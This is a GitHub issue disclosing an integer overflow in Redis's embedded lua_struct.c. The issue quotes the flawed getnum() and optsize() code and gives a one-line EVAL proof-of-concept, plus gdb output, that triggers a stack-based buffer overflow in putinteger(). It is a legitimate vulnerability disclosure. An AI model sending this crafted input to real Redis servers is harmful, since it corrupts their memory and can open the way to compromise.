Skip to content

Integer overflow (leading to stack-based buffer overflow) in embedded lua_struct.c #2855

Closed
@lucab

Description

@lucab

[re-posting via github after private reporting, as agreed with antirez]

Embedded copy of lua_struct.c suffers of an integer overflow in the getnum() parser that can be used to trigger (at least) a stack-based buffer overflow.
This affects all released versions of redis in both 2.8 and 3.0 branches.

The following code is part of lua_struct.c

static int getnum (const char **fmt, int df) {
  if (!isdigit(**fmt))  /* no number? */
    return df;  /* return default value */
  else {
    int a = 0;
    do {
      a = a*10 + *((*fmt)++) - '0';
    } while (isdigit(**fmt));
    return a;
  }
}

static size_t optsize (lua_State *L, char opt, const char **fmt) {
  switch (opt) {
[...]
    case 'c': return getnum(fmt, 1);
    case 'i': case 'I': {
      int sz = getnum(fmt, sizeof(int));
      if (sz > MAXINTSIZE)
        luaL_error(L, "integral size %d is larger than limit of %d",
                       sz, MAXINTSIZE);
      return sz;
    }
    default: return 0;  /* other cases do not need alignment */
  }
}

getnum() can be tricked into an integer wraparound with a large size number as input, thus returning a negative value.
optsize() has no lower bound/negative check; moreover, there is an implicit int -> size_t promotion, yielding a very large (unsigned) size value.

This, plus further int/size_t confusion in the whole module, results in stack-based buffer overflows in other places,
eg. putinteger() reachable in LUA via struct.pack().

Simple PoC as follow:

  EVAL "struct.pack('>I2147483648', '10')" 0

Where:

  • '2147483648' is a user-controlled index, larger than MAX_INT32, fooling optsize()
  • '>I' is there to reach a buffer overflow in putinteger()
  • '10' is a user-controlled input stored into value

This will result in memory corruption due a user-controlled write outside of a (stack-based) array. Running the PoC above, this can be observed from gdb:

171 char buff[32];
...
185         for (i = size - 1; i >= 0; i--) {
186           buff[i] = (value & 0xff);
(gdb) print i
$3 = 2147483647

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions